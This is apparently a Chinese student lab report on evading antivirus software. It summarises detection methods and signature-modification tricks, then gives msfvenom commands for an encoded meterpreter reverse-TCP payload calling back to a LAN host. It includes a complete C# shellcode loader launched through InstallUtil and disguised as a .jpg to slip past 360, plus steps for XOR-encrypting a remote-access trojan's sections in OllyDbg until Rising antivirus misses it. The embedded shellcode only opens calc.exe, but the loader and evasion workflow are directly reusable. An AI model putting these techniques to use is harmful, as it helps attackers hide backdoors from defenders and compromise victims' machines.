(1)理解免殺技術原理
(2)正確使用msf編碼器,veil-evasion,本身利用shellcode編程等免殺工具或技巧;
(成功實現了免殺的。如何作成功的簡單語言描述便可,不要截圖、指令。與殺軟共生的結果驗證要截圖。)
(3)經過組合應用各類技術實現惡意代碼免殺
(4)用另外一電腦實測,在殺軟開啓的狀況下,可運行並回連成功,註明電腦的殺軟名稱與版本shell
(1)殺軟是如何檢測出惡意代碼的?
基於特徵碼的檢測:根據特徵碼與殺軟的特徵庫對比來識別惡意代碼。
基於行爲的惡意軟件檢測:經過判斷是否進行一些惡意行爲來判斷是不是病毒,好比程序是否有更改註冊表行爲、是否有設置自啓動、是否有修改權限等。
(2)免殺是作什麼?
幫助惡意軟件繞過殺毒軟件的查殺。
(3)免殺的基本方法有哪些?編程
方法一:直接修改特徵碼的十六進制法
1.修改方法:把特徵碼所對應的十六進制改爲數字差1或差很少的十六進制。
2.適用範圍:必定要精肯定位特徵碼所對應的十六進制,修改後必定要測試一下可否正常使用。
方法二:修改字符串大小寫法
1.修改方法:把特徵碼所對應的內容是字符串的,只要把大小字互換一下就能夠了。
2.適用範圍:特徵碼所對應的內容必需是字符串,不然不能成功。
方法三:等價替換法
1.修改方法:把特徵碼所對應的彙編指令命令中替換成功能類擬的指令。
2.適用範圍:特徵碼中必需有能夠替換的彙編指令.好比JN,JNE 換成JMP等。
方法四:指令順序調換法
1.修改方法:把具備特徵碼的代碼順序互換一下。
2.適用範圍:具備必定的侷限性,代碼互換後要不能影響程序的正常執行。
方法五:通用跳轉法
1.修改方法:把特徵碼移到零區域(指代碼的空隙處),而後一個JMP又跳回來執行。
2.適用範圍:沒有什麼條件,是通用的改法,強烈建議你們要掌握這種改法。
文件免殺方法:
1.加冷門殼
2.加花指令
3.改程序入口點
4.改木馬文件特徵碼的5種經常使用方法
5.還有其它的幾種免殺修改技巧
內存免殺方法:
修改內存特徵碼:
方法1.直接修改特徵碼的十六進制法
方法2.修改字符串大小寫法
方法3.等價替換法
方法4.指令順序調換法
方法5.通用跳轉法windows
經過實踐讓我瞭解到咱們的電腦即便安裝殺毒軟件也不是徹底安全的,加強信息安全意識很重要。同時瞭解到了殺毒軟件的工做原理以及病毒繞過殺毒軟件的方法,從兩個角度更好的考慮如何完善安全功能。安全
須要利用社會工程學或者假裝的方式將後門移植靶機中,這也是很重要的一點。網絡
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.146 LPORT=5329 -f exe > 5329met-encoded.exe
生成文件,並複製到Windows系統,複製到本身的系統上被查殺
tcp
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.1.146 LPORT=5329 -f exe > 5329met-encoded10.exe
一樣免殺效果很差,會被查殺。ide
1、實驗準備
1.測試環境:windows 7 64位操做系統。
2.測試程序:windows自帶的計算器程序(calc.exe)。由於咱們在本次實驗中牽涉到shellcode的編寫,但本身目前的能力還不足以可以編寫執行對應惡意程序的shellcode,因此暫時以calc.exe代替惡意程序,來完成整個實驗過程。
2、模擬加載惡意程序實驗過程
1.使用metasploit下的msf模塊生成對應64位系統中calc.exe的shellcode,配置代碼如圖所示
工具
生成的shellcode如圖所示
學習
2.編寫相應的使用使用shellcode的C#代碼,並保存爲shellcode.cs測試
using System; using System.Diagnostics; using System.Reflection; using System.Configuration.Install; using System.Runtime.InteropServices; public class Program { public static void Main() { Console.WriteLine("Hello From Main...I Don't Do Anything"); //Add any behaviour here to throw off sandbox execution/analysts :) } } [System.ComponentModel.RunInstaller(true)] public class Sample : System.Configuration.Install.Installer { //The Methods can be Uninstall/Install. Install is transactional, and really unnecessary. public override void Uninstall(System.Collections.IDictionary savedState) { Shellcode.Exec(); } } public class Shellcode { public static void Exec() { // native function's compiled code // generated with metasploit // this is from shellcode.txt above byte[] shellcode = new byte[276] { 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52, 0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48, 0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9, 0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41, 0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48, 0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01, 0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48, 0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0, 0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c, 0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0, 0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04, 0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59, 0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48, 0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f, 0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff, 0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb, 0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c, 0x63,0x2e,0x65,0x78,0x65,0x00 }; UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); Marshal.Copy(shellcode , 0, (IntPtr)(funcAddr), shellcode .Length); IntPtr hThread = IntPtr.Zero; UInt32 threadId = 0; // prepare data IntPtr pinfo = IntPtr.Zero; // execute native code hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId); WaitForSingleObject(hThread, 0xFFFFFFFF); } private static UInt32 MEM_COMMIT = 0x1000; private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; [DllImport("kernel32")] private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect); [DllImport("kernel32")] private static extern IntPtr CreateThread( UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId ); [DllImport("kernel32")] private static extern UInt32 WaitForSingleObject( IntPtr hHandle, UInt32 dwMilliseconds ); }
3.將shellcode.cs放到path路徑中,以便咱們能在cmd的環境下對其進行編譯,執行代碼爲
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe /unsafe /platform:x64 /out:exeshell.exe Shellcode.cs
編譯後生成一個exeshell.exe的程序,並利用Installutil.exe加載這個程序,最後成功加載exeshell.exe並執行shellcode,彈出計算器,執行代碼爲
C:\Windows\Microsoft.NET\Framework64\v2.0.50727 \InstallUtil.exe /logfile= /LogToConsole=false /U exeshell.exe
如圖所示
4.此時咱們測試生成的exeshell.exe的查殺狀況,發現會被360報爲木馬文件。
!
5.此時咱們須要對生成的exeshell.exe進行靜態免殺。根據360的警報信息能夠看到此文件被認爲是後門程序,所以咱們在生成的時候能夠對文件的後綴名進行更改,好比改成exeshell.jpg。執行代碼:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /platform:x64 /out:exeshell.jpg Shellcode.cs C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U exeshell.jpg
最後對更改後綴名後生成的exeshell.jpg查殺,發現能夠成功逃過360的靜態查殺,如圖所示
當咱們普通操做下打開這個exeshell.jpg文件時,會顯示一張損壞的圖片,如圖5-6所示。可是咱們仍然能夠經過執行InstallUtil.exe來加載exeshell.jpg來正常打開原程序,而且擁有原程序完整的功能。
區段加密以前,須要爲相關配置文件即abc.dat添加一個新的區段,以方便咱們以後的修改程序入口點、花指令的編寫以及加密解密代碼的編寫。 使用lordPE查看程序入口地址以及,咱們所要加密的.code段和.data段以及新添加的區段的文件偏移地址。咱們能夠得到.code段的虛擬地址。用ollydbg加載abc.dat文件,程序會定位在原始入口點地址,如今咱們跳轉到新區段所在地址,能夠看到一大片0區域。咱們選擇在這裏添加花指令以及加解密代碼的編寫。以後程序在被加載到內存的時候,會先執行這一段解密代碼,因爲加密是一次異或,解密是第二次異或,兩次異或以後便獲得原來的數據,從而成功解密。在添加完相應的指令以及代碼以後,咱們須要把這段指令複製到可執行文件並保存文件。複製到可執行文件並保存後,咱們須要關閉當前的ollydbg窗口。打開新的ollydbg,並加載咱們剛纔保存的文件,由於這個文件已經存在有加解密指令了。此時,咱們在加密代碼前設置一個新的入口點,顯示爲黑色,讓程序的執行跳轉到此,並在第一段爲.code代碼段加密的代碼結束爲止設置一個斷點,顯示爲紅色。而後點全不執行,程序就會重新的入口點執行到所設置的斷點處。通過這個步驟,.code代碼段的加密已經結束,因爲在下方的hex數據,咱們預先跳轉到了.CODE代碼段的虛擬地址,明顯地看到了整個代碼段數據的變化。所以,這個步驟結束以後咱們一樣要講加密以後的代碼段的數據複製到可執行文件並保存。一樣的方式,咱們再對.data數據段進行加密。完整加密以後咱們對保存的文件進行查殺測試,發現仍然會被瑞星查殺。在其餘區段還存在特徵碼,由此咱們繼續使用Myccl對文件進行特徵碼定位。 咱們用lordPE進行查看對應區段,發現特徵碼位於.rsrc資源段,而且從右邊的字符中看到VERSION INFO的字樣,由此咱們能夠猜想,特徵碼位於版本信息上面
作到此處,脈絡已經基本清晰。因爲版本信息對於木馬文件來將沒有什麼用處,咱們能夠直接將其刪掉,也能夠換成其餘正常程序的版本信息,在這裏我選擇將其刪掉。並對最終保存的文件進行查殺,發現最終成功躲避了瑞星殺毒軟件的查殺。
作完以後測試了一下Remote abc的功能以下圖
在使用區段對Remote abc的服務端配置文件進行加密以後,咱們已經讓文件及相應配置的服務端程序躲避殺毒軟件的查殺,可是因爲免殺處理的時候對文件二進制數據做了較多的改變,因此咱們須要對其正常的功能進行測試。在配置服務端的時候咱們能夠選擇提否彈出安裝成功提示、安裝完成以後是否刪除自身等選項,配置好服務端。
在實驗過程當中,利用用戶權限執行命令
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe /unsafe /platform:x64 /out:exeshell.exe Shellcode.cs
出現下圖顯示的狀況
解決方法:用管理員身份運行